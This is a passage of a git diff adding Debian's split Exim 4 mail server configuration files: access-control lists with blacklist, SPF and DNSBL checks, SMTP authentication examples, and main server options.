+ # the black list. See exim4-config_files(5) for details.
+ deny
+ message = sender envelope address $sender_address is locally blacklisted here. If you think this is wrong, get in touch with postmaster
+ log_message = sender envelope address is locally blacklisted.
+ !acl = acl_local_deny_exceptions
+ senders = ${if exists{CONFDIR/local_sender_blacklist}\
+ {CONFDIR/local_sender_blacklist}\
+ {}}
+
+
+ # deny bad sites (IP address)
+ # CONFDIR/local_host_blacklist holds a list of host names, IP addresses
+ # and networks (CIDR notation) that should have their access denied to
+ # The local host. Messages coming in from a listed host will have all
+ # RCPT statements rejected.
+ #
+ # The explicit white lists are honored as well as negative items in
+ # the black list. See exim4-config_files(5) for details.
+ deny
+ message = sender IP address $sender_host_address is locally blacklisted here. If you think this is wrong, get in touch with postmaster
+ log_message = sender IP address is locally blacklisted.
+ !acl = acl_local_deny_exceptions
+ hosts = ${if exists{CONFDIR/local_host_blacklist}\
+ {CONFDIR/local_host_blacklist}\
+ {}}
+
+
+ # Warn if the sender host does not have valid reverse DNS.
+ #
+ # If your system can do DNS lookups without delay or cost, you might want
+ # to enable this.
+ # If sender_host_address is defined, it's a remote call. If
+ # sender_host_name is not defined, then reverse lookup failed. Use
+ # this instead of !verify = reverse_host_lookup to catch deferrals
+ # as well as outright failures.
+ .ifdef CHECK_RCPT_REVERSE_DNS
+ warn
+ condition = ${if and{{def:sender_host_address}{!def:sender_host_name}}\
+ {yes}{no}}
+ add_header = X-Host-Lookup-Failed: Reverse DNS lookup failed for $sender_host_address (${if eq{$host_lookup_failed}{1}{failed}{deferred}})
+ .endif
+
+
+ # Use spfquery to perform a pair of SPF checks (for details, see
+ # http://www.openspf.org/)
+ #
+ # This is quite costly in terms of DNS lookups (~6 lookups per mail). Do not
+ # enable if that's an issue. Also note that if you enable this, you must
+ # install "spf-tools-perl" which provides the spfquery command.
+ # Missing spf-tools-perl will trigger the "Unexpected error in
+ # SPF check" warning.
+ .ifdef CHECK_RCPT_SPF
+ deny
+ message = [SPF] $sender_host_address is not allowed to send mail from \
+ ${if def:sender_address_domain {$sender_address_domain}{$sender_helo_name}}. \
+ Please see \
+ http://www.openspf.org/Why?scope=${if def:sender_address_domain \
+ {mfrom}{helo}};identity=${if def:sender_address_domain \
+ {$sender_address}{$sender_helo_name}};ip=$sender_host_address
+ log_message = SPF check failed.
+ !acl = acl_local_deny_exceptions
+ condition = ${run{/usr/bin/spfquery.mail-spf-perl --ip \
+ ${quote:$sender_host_address} --identity \
+ ${if def:sender_address_domain \
+ {--scope mfrom --identity ${quote:$sender_address}}\
+ {--scope helo --identity ${quote:$sender_helo_name}}}}\
+ {no}{${if eq {$runrc}{1}{yes}{no}}}}
+
+ defer
+ message = Temporary DNS error while checking SPF record. Try again later.
+ !acl = acl_local_deny_exceptions
+ condition = ${if eq {$runrc}{5}{yes}{no}}
+
+ warn
+ condition = ${if <={$runrc}{6}{yes}{no}}
+ add_header = Received-SPF: ${if eq {$runrc}{0}{pass}\
+ {${if eq {$runrc}{2}{softfail}\
+ {${if eq {$runrc}{3}{neutral}\
+ {${if eq {$runrc}{4}{permerror}\
+ {${if eq {$runrc}{6}{none}{error}}}}}}}}}\
+ } client-ip=$sender_host_address; \
+ ${if def:sender_address_domain \
+ {envelope-from=${sender_address}; }{}}\
+ helo=$sender_helo_name
+
+ warn
+ log_message = Unexpected error in SPF check.
+ condition = ${if >{$runrc}{6}{yes}{no}}
+ .endif
+
+
+ # Check against classic DNS "black" lists (DNSBLs) which list
+ # sender IP addresses
+ .ifdef CHECK_RCPT_IP_DNSBLS
+ warn
+ dnslists = CHECK_RCPT_IP_DNSBLS
+ add_header = X-Warning: $sender_host_address is listed at $dnslist_domain ($dnslist_value: $dnslist_text)
+ log_message = $sender_host_address is listed at $dnslist_domain ($dnslist_value: $dnslist_text)
+ .endif
+
+
+ # Check against DNSBLs which list sender domains, with an option to locally
+ # whitelist certain domains that might be blacklisted.
+ #
+ # Note: If you define CHECK_RCPT_DOMAIN_DNSBLS, you must append
+ # "/$sender_address_domain" after each domain. For example:
+ # CHECK_RCPT_DOMAIN_DNSBLS = rhsbl.foo.org/$sender_address_domain \
+ # : rhsbl.bar.org/$sender_address_domain
+ .ifdef CHECK_RCPT_DOMAIN_DNSBLS
+ warn
+ !senders = ${if exists{CONFDIR/local_domain_dnsbl_whitelist}\
+ {CONFDIR/local_domain_dnsbl_whitelist}\
+ {}}
+ dnslists = CHECK_RCPT_DOMAIN_DNSBLS
+ add_header = X-Warning: $sender_address_domain is listed at $dnslist_domain ($dnslist_value: $dnslist_text)
+ log_message = $sender_address_domain is listed at $dnslist_domain ($dnslist_value: $dnslist_text)
+ .endif
+
+
+ # This hook allows you to hook in your own ACLs without having to
+ # modify this file. If you do it like we suggest, you'll end up with
+ # a small performance penalty since there is an additional file being
+ # accessed. This doesn't happen if you leave the macro unset.
+ .ifdef CHECK_RCPT_LOCAL_ACL_FILE
+ .include CHECK_RCPT_LOCAL_ACL_FILE
+ .endif
+
+
+ #############################################################################
+ # This check is commented out because it is recognized that not every
+ # sysadmin will want to do it. If you enable it, the check performs
+ # Client SMTP Authorization (csa) checks on the sending host. These checks
+ # do DNS lookups for SRV records. The CSA proposal is currently (May 2005)
+ # an Internet draft. You can, of course, add additional conditions to this
+ # ACL statement to restrict the CSA checks to certain hosts only.
+ #
+ # require verify = csa
+ #############################################################################
+
+
+ # Accept if the address is in a domain for which we are an incoming relay,
+ # but again, only if the recipient can be verified.
+
+ accept
+ domains = +relay_to_domains
+ endpass
+ verify = recipient
+
+
+ # At this point, the address has passed all the checks that have been
+ # configured, so we accept it unconditionally.
+
+ accept
diff --git a/debian/debconf/conf.d/acl/40_exim4-config_check_data b/debian/debconf/conf.d/acl/40_exim4-config_check_data
new file mode 100644
index 0000000..5b5c099
--- /dev/null
+++ b/debian/debconf/conf.d/acl/40_exim4-config_check_data
@@ -0,0 +1,95 @@
+
+### acl/40_exim4-config_check_data
+#################################
+
+# This ACL is used after the contents of a message have been received. This
+# is the ACL in which you can test a message's headers or body, and in
+# particular, this is where you can invoke external virus or spam scanners.
+
+acl_check_data:
+
+ # Deny if the message contains an overlong line. Per the standards
+ # we should never receive one such via SMTP.
+ #
+ .ifndef IGNORE_SMTP_LINE_LENGTH_LIMIT
+ deny message = maximum allowed line length is 998 octets, \
+ got $max_received_linelength
+ condition = ${if > {$max_received_linelength}{998}}
+ .endif
+
+ # Deny if the headers contain badly-formed addresses.
+ #
+ .ifndef NO_CHECK_DATA_VERIFY_HEADER_SYNTAX
+ deny
+ !acl = acl_local_deny_exceptions
+ !verify = header_syntax
+ message = header syntax
+ log_message = header syntax ($acl_verify_message)
+ .endif
+
+
+ # require that there is a verifiable sender address in at least
+ # one of the "Sender:", "Reply-To:", or "From:" header lines.
+ .ifdef CHECK_DATA_VERIFY_HEADER_SENDER
+ deny
+ message = No verifiable sender address in message headers
+ !acl = acl_local_deny_exceptions
+ !verify = header_sender
+ .endif
+
+
+ # Deny if the message contains malware. Before enabling this check, you
+ # must install a virus scanner and set the av_scanner option in the
+ # main configuration.
+ #
+ # exim4-daemon-heavy must be used for this section to work.
+ #
+ # deny
+ # malware = *
+ # message = This message was detected as possible malware ($malware_name).
+
+
+ # Add headers to a message if it is judged to be spam. Before enabling this,
+ # you must install SpamAssassin. You may also need to set the spamd_address
+ # option in the main configuration.
+ #
+ # exim4-daemon-heavy must be used for this section to work.
+ #
+ # Please note that this is only suiteable as an example. See
+ # /usr/share/doc/exim4-base/README.Debian.gz
+ #
+ # See the exim docs and the exim wiki for more suitable examples.
+ #
+ # # Remove internal headers
+ # warn
+ # remove_header = X-Spam_score: X-Spam_score_int : X-Spam_bar : \
+ # X-Spam_report
+ #
+ # warn
+ # condition = ${if <{$message_size}{120k}{1}{0}}
+ # # ":true" to add headers/acl variables even if not spam
+ # spam = nobody:true
+ # add_header = X-Spam_score: $spam_score
+ # add_header = X-Spam_bar: $spam_bar
+ # # Do not enable this unless you have shorted SpamAssassin's report
+ # #add_header = X-Spam_report: $spam_report
+ #
+ # Reject spam messages (score >15.0).
+ # This breaks mailing list and forward messages.
+ # deny
+ # message = Classified as spam (score $spam_score)
+ # condition = ${if <{$message_size}{120k}{1}{0}}
+ # condition = ${if >{$spam_score_int}{150}{true}{false}}
+
+
+ # This hook allows you to hook in your own ACLs without having to
+ # modify this file. If you do it like we suggest, you'll end up with
+ # a small performance penalty since there is an additional file being
+ # accessed. This doesn't happen if you leave the macro unset.
+ .ifdef CHECK_DATA_LOCAL_ACL_FILE
+ .include CHECK_DATA_LOCAL_ACL_FILE
+ .endif
+
+
+ # accept otherwise
+ accept
diff --git a/debian/debconf/conf.d/auth/00_exim4-config_header b/debian/debconf/conf.d/auth/00_exim4-config_header
new file mode 100644
index 0000000..c5f8fc1
--- /dev/null
+++ b/debian/debconf/conf.d/auth/00_exim4-config_header
@@ -0,0 +1,8 @@
+
+######################################################################
+# AUTHENTICATION CONFIGURATION #
+######################################################################
+
+begin authenticators
+
+
diff --git a/debian/debconf/conf.d/auth/30_exim4-config_examples b/debian/debconf/conf.d/auth/30_exim4-config_examples
new file mode 100644
index 0000000..b3b1ce6
--- /dev/null
+++ b/debian/debconf/conf.d/auth/30_exim4-config_examples
@@ -0,0 +1,254 @@
+
+### auth/30_exim4-config_examples
+#################################
+
+# The examples below are for server side authentication, when the
+# local exim is SMTP server and clients authenticate to the local exim.
+
+# They allow two styles of plain-text authentication against an
+# CONFDIR/passwd file whose syntax is described in exim4_passwd(5).
+
+# Hosts that are allowed to use AUTH are defined by the
+# auth_advertise_hosts option in the main configuration. The default is
+# "*", which allows authentication to all hosts over all kinds of
+# connections if there is at least one authenticator defined here.
+# Authenticators which rely on unencrypted clear text passwords don't
+# advertise on unencrypted connections by default. Thus, it might be
+# wise to set up TLS to allow encrypted connections. If TLS cannot be
+# used for some reason, you can set AUTH_SERVER_ALLOW_NOTLS_PASSWORDS to
+# advertise unencrypted clear text password based authenticators on all
+# connections. As this is severely reducing security, using TLS is
+# preferred over allowing clear text password based authenticators on
+# unencrypted connections.
+
+# PLAIN authentication has no server prompts. The client sends its
+# credentials in one lump, containing an authorization ID (which we do not
+# use), an authentication ID, and a password. The latter two appear as
+# $auth2 and $auth3 in the configuration and should be checked against a
+# valid username and password. In a real configuration you would typically
+# use $auth2 as a lookup key, and compare $auth3 against the result of the
+# lookup, perhaps using the crypteq{}{} condition.
+
+# plain_server:
+# driver = plaintext
+# public_name = PLAIN
+# server_condition = "${if crypteq{$auth3}{${extract{1}{:}{${lookup{$auth2}lsearch{CONFDIR/passwd}{$value}{*:*}}}}}{1}{0}}"
+# server_set_id = $auth2
+# server_prompts = :
+# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS
+# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}}
+# .endif
+
+# LOGIN authentication has traditional prompts and responses. There is no
+# authorization ID in this mechanism, so unlike PLAIN the username and
+# password are $auth1 and $auth2. Apart from that you can use the same
+# server_condition setting for both authenticators.
+
+# login_server:
+# driver = plaintext
+# public_name = LOGIN
+# server_prompts = "Username:: : Password::"
+# server_condition = "${if crypteq{$auth2}{${extract{1}{:}{${lookup{$auth1}lsearch{CONFDIR/passwd}{$value}{*:*}}}}}{1}{0}}"
+# server_set_id = $auth1
+# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS
+# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}}
+# .endif
+#
+# cram_md5_server:
+# driver = cram_md5
+# public_name = CRAM-MD5
+# server_secret = ${extract{2}{:}{${lookup{$auth1}lsearch{CONFDIR/passwd}{$value}fail}}}
+# server_set_id = $auth1
+
+# Here is an example of CRAM-MD5 authentication against PostgreSQL:
+#
+# psqldb_auth_server:
+# driver = cram_md5
+# public_name = CRAM-MD5
+# server_secret = ${lookup pgsql{SELECT pw FROM users WHERE username = '${quote_pgsql:$auth1}'}{$value}fail}
+# server_set_id = $auth1
+
+# Authenticate against local passwords using sasl2-bin
+# Requires exim_uid to be a member of sasl group, see README.Debian.gz
+# plain_saslauthd_server:
+# driver = plaintext
+# public_name = PLAIN
+# server_condition = ${if saslauthd{{$auth2}{$auth3}}{1}{0}}
+# server_set_id = $auth2
+# server_prompts = :
+# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS
+# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}}
+# .endif
+#
+# login_saslauthd_server:
+# driver = plaintext
+# public_name = LOGIN
+# server_prompts = "Username:: : Password::"
+# # don't send system passwords over unencrypted connections
+# server_condition = ${if saslauthd{{$auth1}{$auth2}}{1}{0}}
+# server_set_id = $auth1
+# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS
+# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}}
+# .endif
+#
+# ntlm_sasl_server:
+# driver = cyrus_sasl
+# public_name = NTLM
+# server_realm = <short main hostname>
+# server_set_id = $auth1
+# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS
+# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}}
+# .endif
+#
+# digest_md5_sasl_server:
+# driver = cyrus_sasl
+# public_name = DIGEST-MD5
+# server_realm = <short main hostname>
+# server_set_id = $auth1
+# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS
+# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}}
+# .endif
+
+# Authentcate against cyrus-sasl
+# This is mainly untested, please report any problems to
+# pkg-exim4-users@lists.alioth.debian.org.
+# cram_md5_sasl_server:
+# driver = cyrus_sasl
+# public_name = CRAM-MD5
+# server_realm = <short main hostname>
+# server_set_id = $auth1
+#
+# plain_sasl_server:
+# driver = cyrus_sasl
+# public_name = PLAIN
+# server_realm = <short main hostname>
+# server_set_id = $auth1
+# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS
+# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}}
+# .endif
+#
+# login_sasl_server:
+# driver = cyrus_sasl
+# public_name = LOGIN
+# server_realm = <short main hostname>
+# server_set_id = $auth1
+# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS
+# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}}
+# .endif
+
+# Authenticate against courier authdaemon
+
+# This is now the (working!) example from
+# http://www.exim.org/eximwiki/FAQ/Policy_controls/Q0730
+# Possible pitfall: access rights on /var/run/courier/authdaemon/socket.
+# plain_courier_authdaemon:
+# driver = plaintext
+# public_name = PLAIN
+# server_condition = \
+# ${extract {ADDRESS} \
+# {${readsocket{/var/run/courier/authdaemon/socket} \
+# {AUTH ${strlen:exim\nlogin\n$auth2\n$auth3\n}\nexim\nlogin\n$auth2\n$auth3\n} }} \
+# {yes} \
+# fail}
+# server_set_id = $auth2
+# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS
+# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}}
+# .endif
+
+# login_courier_authdaemon:
+# driver = plaintext
+# public_name = LOGIN
+# server_prompts = Username:: : Password::
+# server_condition = \
+# ${extract {ADDRESS} \
+# {${readsocket{/var/run/courier/authdaemon/socket} \
+# {AUTH ${strlen:exim\nlogin\n$auth1\n$auth2\n}\nexim\nlogin\n$auth1\n$auth2\n} }} \
+# {yes} \
+# fail}
+# server_set_id = $auth1
+# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS
+# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}}
+# .endif
+
+# This one is a bad hack to support the broken version 4.xx of
+# Microsoft Outlook Express which violates the RFCs by demanding
+# "250-AUTH=" instead of "250-AUTH ".
+# If your list of offered authenticators is other than PLAIN and LOGIN,
+# you need to adapt the public_name line manually.
+# It has to be the last authenticator to work and has not been tested
+# well. Use at your own risk.
+# See the thread entry point from
+# http://www.exim.org/mail-archives/exim-users/Week-of-Mon-20050214/msg00213.html
+# for the related discussion on the exim-users mailing list.
+# Thanks to Fred Viles for this great work.
+
+# support_broken_outlook_express_4_server:
+# driver = plaintext
+# public_name = "\r\n250-AUTH=PLAIN LOGIN"
+# server_prompts = User Name : Password
+# server_condition = no
+# .ifndef AUTH_SERVER_ALLOW_NOTLS_PASSWORDS
+# server_advertise_condition = ${if eq{$tls_in_cipher}{}{}{*}}
+# .endif
+
+##############
+# See /usr/share/doc/exim4-base/README.Debian.gz
+##############
+
+# These examples below are the equivalent for client side authentication.
+# They get the passwords from CONFDIR/passwd.client, whose format is
+# defined in exim4_passwd_client(5)
+
+# Because AUTH PLAIN and AUTH LOGIN send the password in clear, we
+# only allow these mechanisms over encrypted connections by default.
+# You can set AUTH_CLIENT_ALLOW_NOTLS_PASSWORDS to allow unencrypted
+# clear text password authentication on all connections.
+
+cram_md5:
+ driver = cram_md5
+ public_name = CRAM-MD5
+ client_name = ${extract{1}{:}{${lookup{$host}nwildlsearch{CONFDIR/passwd.client}{$value}fail}}}
+ client_secret = ${extract{2}{:}{${lookup{$host}nwildlsearch{CONFDIR/passwd.client}{$value}fail}}}
+
+# this returns the matching line from passwd.client and doubles all ^
+PASSWDLINE=${sg{\
+ ${lookup{$host}nwildlsearch{CONFDIR/passwd.client}{$value}fail}\
+ }\
+ {\\N[\\^]\\N}\
+ {^^}\
+ }
+
+plain:
+ driver = plaintext
+ public_name = PLAIN
+.ifndef AUTH_CLIENT_ALLOW_NOTLS_PASSWORDS
+ client_send = "<; ${if !eq{$tls_out_cipher}{}\
+ {^${extract{1}{:}{PASSWDLINE}}\
+ ^${sg{PASSWDLINE}{\\N([^:]+:)(.*)\\N}{\\$2}}\
+ }fail}"
+.else
+ client_send = "<; ^${extract{1}{:}{PASSWDLINE}}\
+ ^${sg{PASSWDLINE}{\\N([^:]+:)(.*)\\N}{\\$2}}"
+.endif
+
+login:
+ driver = plaintext
+ public_name = LOGIN
+.ifndef AUTH_CLIENT_ALLOW_NOTLS_PASSWORDS
+ # Return empty string if not non-TLS AND looking up $host in passwd-file
+ # yields a non-empty string; fail otherwise.
+ client_send = "<; ${if and{\
+ {!eq{$tls_out_cipher}{}}\
+ {!eq{PASSWDLINE}{}}\
+ }\
+ {}fail}\
+ ; ${extract{1}{::}{PASSWDLINE}}\
+ ; ${sg{PASSWDLINE}{\\N([^:]+:)(.*)\\N}{\\$2}}"
+.else
+ # Return empty string if looking up $host in passwd-file yields a
+ # non-empty string; fail otherwise.
+ client_send = "<; ${if !eq{PASSWDLINE}{}\
+ {}fail}\
+ ; ${extract{1}{::}{PASSWDLINE}}\
+ ; ${sg{PASSWDLINE}{\\N([^:]+:)(.*)\\N}{\\$2}}"
+.endif
diff --git a/debian/debconf/conf.d/main/01_exim4-config_listmacrosdefs b/debian/debconf/conf.d/main/01_exim4-config_listmacrosdefs
new file mode 100644
index 0000000..baa48fa
--- /dev/null
+++ b/debian/debconf/conf.d/main/01_exim4-config_listmacrosdefs
@@ -0,0 +1,81 @@
+######################################################################
+# Runtime configuration file for Exim 4 (Debian Packaging) #
+######################################################################
+
+######################################################################
+# /etc/exim4/exim4.conf.template is only used with the non-split
+# configuration scheme.
+# /etc/exim4/conf.d/main/01_exim4-config_listmacrosdefs is only used
+# with the split configuration scheme.
+# If you find this comment anywhere else, somebody copied it there.
+# Documentation about the Debian exim4 configuration scheme can be
+# found in /usr/share/doc/exim4-base/README.Debian.gz.
+######################################################################
+
+######################################################################
+# MAIN CONFIGURATION SETTINGS #
+######################################################################
+
+# Just for reference and scripts.
+# On Debian systems, the main binary is installed as exim4 to avoid
+# conflicts with the exim 3 packages.
+exim_path = /usr/sbin/exim4
+
+# Macro defining the main configuration directory.
+# We do not use absolute paths.
+.ifndef CONFDIR
+CONFDIR = /etc/exim4
+.endif
+
+# debconf-driven macro definitions get inserted after this line
+UPEX4CmacrosUPEX4C = 1
+
+# Create domain and host lists for relay control
+# '@' refers to 'the name of the local host'
+
+# List of domains considered local for exim. Domains not listed here
+# need to be deliverable remotely.
+domainlist local_domains = MAIN_LOCAL_DOMAINS
+
+# List of recipient domains to relay _to_. Use this list if you're -
+# for example - fallback MX or mail gateway for domains.
+domainlist relay_to_domains = MAIN_RELAY_TO_DOMAINS
+
+# List of sender networks (IP addresses) to _unconditionally_ relay
+# _for_. If you intend to be SMTP AUTH server, you do not need to enter
+# anything here.
+hostlist relay_from_hosts = MAIN_RELAY_NETS
+
+
+# Decide which domain to use to add to all unqualified addresses.
+# If MAIN_PRIMARY_HOSTNAME_AS_QUALIFY_DOMAIN is defined, the primary
+# hostname is used. If not, but MAIN_QUALIFY_DOMAIN is set, the value
+# of MAIN_QUALIFY_DOMAIN is used. If both macros are not defined,
+# the first line of /etc/mailname is used.
+.ifndef MAIN_PRIMARY_HOSTNAME_AS_QUALIFY_DOMAIN
+.ifndef MAIN_QUALIFY_DOMAIN
+qualify_domain = ETC_MAILNAME
+.else
+qualify_domain = MAIN_QUALIFY_DOMAIN
+.endif
+.endif
+
+# listen on all all interfaces?
+.ifdef MAIN_LOCAL_INTERFACES
+local_interfaces = MAIN_LOCAL_INTERFACES
+.endif
+
+.ifndef LOCAL_DELIVERY
+# The default transport, set in /etc/exim4/update-exim4.conf.conf,
+# defaulting to mail_spool. See CONFDIR/conf.d/transport/ for possibilities
+LOCAL_DELIVERY=mail_spool
+.endif
+
+# The gecos field in /etc/passwd holds not only the name. see passwd(5).
+gecos_pattern = ^([^,:]*)
+gecos_name = $1
+
+# always log tls_peerdn as we use TLS for outgoing connects by default
+.ifndef MAIN_LOG_SELECTOR
+MAIN_LOG_SELECTOR = +smtp_protocol_error +smtp_syntax_error +tls_certificate_verified +tls_peerdn
+.endif
diff --git a/debian/debconf/conf.d/main/02_exim4-config_options b/debian/debconf/conf.d/main/02_exim4-config_options
new file mode 100644
index 0000000..abff1d8
--- /dev/null
+++ b/debian/debconf/conf.d/main/02_exim4-config_options
@@ -0,0 +1,222 @@
+
+### main/02_exim4-config_options
+#################################
+
+
+# Defines the access control list that is run when an
+# SMTP MAIL command is received.
+#
+.ifndef MAIN_ACL_CHECK_MAIL
+MAIN_ACL_CHECK_MAIL = acl_check_mail
+.endif
+acl_smtp_mail = MAIN_ACL_CHECK_MAIL
+
+
+# Defines the access control list that is run when an
+# SMTP RCPT command is received.
+#
+.ifndef MAIN_ACL_CHECK_RCPT
+MAIN_ACL_CHECK_RCPT = acl_check_rcpt
+.endif
+acl_smtp_rcpt = MAIN_ACL_CHECK_RCPT
+
+
+# Defines the access control list that is run when an
+# SMTP DATA command is received.
+#
+.ifndef MAIN_ACL_CHECK_DATA
+MAIN_ACL_CHECK_DATA = acl_check_data
+.endif
+acl_smtp_data = MAIN_ACL_CHECK_DATA
+
+
+# Message size limit. The default (used when MESSAGE_SIZE_LIMIT
+# is unset) is 50 MB
+.ifdef MESSAGE_SIZE_LIMIT
+message_size_limit = MESSAGE_SIZE_LIMIT
+.endif
+
+
+# If you are running exim4-daemon-heavy or a custom version of Exim that
+# was compiled with the content-scanning extension, you can cause incoming
+# messages to be automatically scanned for viruses. You have to modify the
+# configuration in two places to set this up. The first of them is here,
+# where you define the interface to your scanner. This example is typical
+# for ClamAV; see the manual for details of what to set for other virus
+# scanners. The second modification is in the acl_check_data access
+# control list.
+
+# av_scanner = clamd:/var/run/clamav/clamd.ctl
+
+
+# For spam scanning, there is a similar option that defines the interface to
+# SpamAssassin. You do not need to set this if you are using the default, which
+# is shown in this commented example. As for virus scanning, you must also
+# modify the acl_check_data access control list to enable spam scanning.
+
+# spamd_address = 127.0.0.1 783
+
+# Domain used to qualify unqualified recipient addresses
+# If this option is not set, the qualify_domain value is used.
+# qualify_recipient = <value of qualify_domain>
+
+
+# Allow Exim to recognize addresses of the form "user@[10.11.12.13]",
+# where the domain part is a "domain literal" (an IP address) instead
+# of a named domain. The RFCs require this facility, but it is disabled
+# in the default config since it is rarely used and frequently abused.
+# Domain literal support also needs a special router, which is automatically
+# enabled if you use the enable macro MAIN_ALLOW_DOMAIN_LITERALS.
+# Additionally, you might want to make your local IP addresses (or @[])
+# local domains.
+.ifdef MAIN_ALLOW_DOMAIN_LITERALS
+allow_domain_literals
+.endif
+
+
+# Do a reverse DNS lookup on all incoming IP calls, in order to get the
+# true host name. If you feel this is too expensive, the networks for
+# which a lookup is done can be listed here.
+.ifndef DC_minimaldns
+.ifndef MAIN_HOST_LOOKUP
+MAIN_HOST_LOOKUP = *
+.endif
+host_lookup = MAIN_HOST_LOOKUP
+.endif
+
+# The setting below causes Exim to try to initialize the system resolver
+# library with DNSSEC support. It has no effect if your library lacks
+# DNSSEC support.
+dns_dnssec_ok = 1
+
+# In a minimaldns setup, update-exim4.conf guesses the hostname and
+# dumps it here to avoid DNS lookups being done at Exim run time.
+.ifdef MAIN_HARDCODE_PRIMARY_HOSTNAME
+primary_hostname = MAIN_HARDCODE_PRIMARY_HOSTNAME
+.endif
+
+# The settings below cause Exim to make RFC 1413 (ident) callbacks
+# for all incoming SMTP calls. You can limit the hosts to which these
+# calls are made, and/or change the timeout that is used. If you set
+# the timeout to zero, all RFC 1413 calls are disabled. RFC 1413 calls
+# are cheap and can provide useful information for tracing problem
+# messages, but some hosts and firewalls have problems with them.
+# This can result in a timeout instead of an immediate refused
+# connection, leading to delays on starting up SMTP sessions.
+# (The default was reduced from 30s to 5s for release 4.61. and to
+# disabled for release 4.86)
+#
+#rfc1413_hosts = *
+#rfc1413_query_timeout = 5s
+
+
+# Enable an efficiency feature. We advertise the feature; clients
+# may request to use it. For multi-recipient mails we then can
+# reject or accept per-user after the message is received.
+#
+prdr_enable = true
+
+# When using an external relay tester (such as rt.njabl.org and/or the
+# currently defunct relay-test.mail-abuse.org, the test may be aborted
+# since exim complains about "too many nonmail commands". If you want
+# the test to complete, add the host from where "your" relay tester
+# connects from to the MAIN_SMTP_ACCEPT_MAX_NOMAIL_HOSTS macro.
+# Please note that a non-empty setting may cause extra DNS lookups to
+# happen, which is the reason why this option is commented out in the
+# default settings.
+# MAIN_SMTP_ACCEPT_MAX_NOMAIL_HOSTS = !rt.njabl.org
+.ifdef MAIN_SMTP_ACCEPT_MAX_NOMAIL_HOSTS
+smtp_accept_max_nonmail_hosts = MAIN_SMTP_ACCEPT_MAX_NOMAIL_HOSTS
+.endif
+
+# By default, exim forces a Sender: header containing the local
+# account name at the local host name in all locally submitted messages
+# that don't have the local account name at the local host name in the
+# From: header, deletes any Sender: header present in the submitted
+# message and forces the envelope sender of all locally submitted
+# messages to the local account name at the local host name.
+# The following settings allow local users to specify their own envelope sender
+# in a locally submitted message. Sender: headers existing in a locally
+# submitted message are not removed, and no automatic Sender: headers
+# are added. These settings are fine for most hosts.
+# If you run exim on a classical multi-user systems where all users
+# have local mailboxes that can be reached via SMTP from the Internet
+# with the local FQDN as the domain part of the address, you might want
+# to disable the following three lines for traceability reasons.
+.ifndef MAIN_FORCE_SENDER
+local_from_check = false
+local_sender_retain = true
+untrusted_set_sender = *
+.endif
+
+
+# By default, Exim expects all envelope addresses to be fully qualified, that
+# is, they must contain both a local part and a domain. Configure exim
+# to accept unqualified addresses from certain hosts. When this is done,
+# unqualified addresses are qualified using the settings of qualify_domain
+# and/or qualify_recipient (see above).
+# sender_unqualified_hosts = <unset>
+# recipient_unqualified_hosts = <unset>
+
+
+# Configure Exim to support the "percent hack" for certain domains.
+# The "percent hack" is the feature by which mail addressed to x%y@z
+# (where z is one of the domains listed) is locally rerouted to x@y
+# and sent on. If z is not one of the "percent hack" domains, x%y is
+# treated as an ordinary local part. The percent hack is rarely needed
+# nowadays but frequently abused. You should not enable it unless you
+# are sure that you really need it.
+# percent_hack_domains = <unset>
+
+
+# Bounce handling
+.ifndef MAIN_IGNORE_BOUNCE_ERRORS_AFTER
+MAIN_IGNORE_BOUNCE_ERRORS_AFTER = 2d
+.endif
+ignore_bounce_errors_after = MAIN_IGNORE_BOUNCE_ERRORS_AFTER
+
+.ifndef MAIN_TIMEOUT_FROZEN_AFTER
+MAIN_TIMEOUT_FROZEN_AFTER = 7d
+.endif
+timeout_frozen_after = MAIN_TIMEOUT_FROZEN_AFTER
+
+.ifndef MAIN_FREEZE_TELL
+MAIN_FREEZE_TELL = postmaster
+.endif
+freeze_tell = MAIN_FREEZE_TELL
+
+
+# Define spool directory
+.ifndef SPOOLDIR
+SPOOLDIR = /var/spool/exim4
+.endif
+spool_directory = SPOOLDIR
+
+
+# trusted users can set envelope-from to arbitrary values
+.ifndef MAIN_TRUSTED_USERS
+MAIN_TRUSTED_USERS = uucp
+.endif
+trusted_users = MAIN_TRUSTED_USERS
+.ifdef MAIN_TRUSTED_GROUPS
+trusted_groups = MAIN_TRUSTED_GROUPS
+.endif
+
+
+# users in admin group can do many other things
+# admin_groups = <unset>
+
+
+# SMTP Banner. The example includes the Debian version in the SMTP dialog
+# MAIN_SMTP_BANNER = "${primary_hostname} ESMTP Exim ${version_number} (Debian package MAIN_PACKAGE_VERSION) ${tod_full}"
+# smtp_banner = $smtp_active_hostname ESMTP Exim $version_number $tod_full
+
+.ifdef MAIN_KEEP_ENVIRONMENT
+keep_environment = MAIN_KEEP_ENVIRONMENT
+.else
+# set option to empty value to avoid warning.
+keep_environment =
+.endif
+.ifdef MAIN_ADD_ENVIRONMENT
+add_environment = MAIN_ADD_ENVIRONMENT
+.endif
diff --git a/debian/debconf/conf.d/main/03_exim4-config_tlsoptions b/debian/debconf/conf.d/main/03_exim4-config_tlsoptions
new file mode 100644
index 0000000..86299e1
--- /dev/null
+++ b/debian/debconf/conf.d/main/03_exim4-config_tlsoptions
@@ -0,0 +1,85 @@
+
+### main/03_exim4-config_tlsoptions
+#################################
+
+# TLS/SSL configuration for exim as an SMTP server.
+# See /usr/share/doc/exim4-base/README.Debian.gz for explanations.
+
